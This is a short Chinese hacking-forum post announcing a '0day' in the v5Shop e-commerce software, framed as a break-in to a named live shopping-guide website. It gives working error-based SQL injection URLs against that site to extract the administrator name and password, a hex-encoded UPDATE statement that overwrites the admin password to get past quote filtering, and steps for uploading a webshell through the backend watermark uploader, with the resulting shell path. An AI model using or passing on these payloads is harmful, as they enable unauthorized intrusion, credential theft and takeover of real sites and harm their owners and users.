【Oday】v5Shop 注入 Oday

教程地址：http://www.myhack58.com/Soft/html/9/87/2010/2010070620132.htm

起因:渗透一taobao导购站:www.91t7t8.com
发现是v5shop最新版本.于是去官网下了套最新版本的.
发现是.NET写的.没办法看到源代码.只能盲注了.
因此有了这枚oday的产生.

http://www.91t7t8.com/commond.aspx?id=1869
没办法union,只能让它暴错了
暴管理员用户名:http://www.91t7t8.com/commond.aspx?id=1869 and 1=(select top 1 [name] from web_admin)--
暴管理员密 码:http://www.91t7t8.com/commond.aspx?id=1869 and 1=(select top 1 [pass] from web_admin)--

过滤了单引号.只能把字符串转化成16进制的了

更新管理员密码:update web_admin set pass=0x31004200460041004500370042004500410043004600350036003200330041003200430042004400450037004400450041003600340042003700430037004300

weblogin/System_Config_Operate.aspx
后台上传水印.可以直接上传大马.

拿webshell
切记.千万不要传ASPX的马......不然不会成功的.
你可以先传ASP的马..再传ASPX马.
马的路径为:uploadFile/Picture/木马.asp文章来源于lcx.cc:【Oday】v5Shop 注入 Oday

相关推荐: 【Asp】16进制转换字符串 字符串转16进制

十六进制转换字符串： Function HexToStr(x) '十六进制转换字符串(非汉字) For i=1 to Len(x)/2 HexToStr = HexToStr & Chr("&H" & Mid(X,i*2-1,2)) N…